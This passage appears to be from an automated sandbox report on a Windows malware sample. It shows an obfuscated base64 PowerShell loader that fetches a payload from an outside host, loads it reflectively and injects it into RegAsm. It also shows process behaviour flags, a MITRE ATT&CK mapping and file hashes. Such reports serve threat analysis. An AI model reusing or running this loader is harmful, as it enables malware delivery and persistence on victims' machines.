kAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAh@ABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAh@ABlAHMAh@ABwAG8Ah@wBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwApADsACgAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAIAA9ACAAJwBSAGUAZwBBAHMAbQAnADsACgAgACAAIAAgACAAIAAgACAAJABtAGUAh@ABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAh@ABNAGUAh@ABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4Ah@gBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAh@ABbAF0AXQAgACgAJwB0AHgAh@AAuAGgAYQBpAGEAcwBpAC8ANgAzAGEAMABhADcAOABhADAAYgA3ADMALQBhAGEAZgA4AC0ANgBiADIANAAtADcANABlAGYALQBkAGUAOAAyAGEAMAAyAGMALwB0AGUAbgAuAGQAYwBlAHIAYQBjAHUALgA3ADAAbQBqAHkAaAA2AHMAZAAxAC8ALwA6AHMAJwAsACAAJwAxACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9ADsACgA=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace('h@','d')));iex $OWjuxD"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.bat | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\.bat' -Force }
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3376
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5212

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.bat

Path C:\ProgramData\.bat
Size 19B
SHA256 aefbf135fad51c4c5f105adb30da872186273a2d82f6f19fd5c07bea92b6117e
MD5 6ec32568dcf5f2bdeac90d92ca9250ee
SHA1 a6170c66a98f4a25326256fc747d999012588611
SHA512 f0aa33f91e65e12e1af9651e92a22ddbe2f453a25103e0f0f335accfb215b6aafffa690bcf1df8ba8d0604a3432c02a86c16645de6c236431ce102ed8768b148
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
MD5 SHA1 SHA512

Submit Download

RegAsm.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log
Size 617B
SHA256 c33677fa3ce521ce98ef3339484ce21a4fbab1138c6faf3f1821be56e8d3dfe2
MD5 d55240f8b99e496184f63e4267526e2f
SHA1 5794350bb66640a7c9edbd9f7781d22db9002ea9
SHA512 23ddf984d6ab71239e4caa3205c9b9ed507c10affb412b5c80fd927007e5cfdaedb65a0d5e13681a7df9b84f8578ff2fd8268b50311da1d4b213876479309ea6
MD5 SHA1 SHA512

Submit Download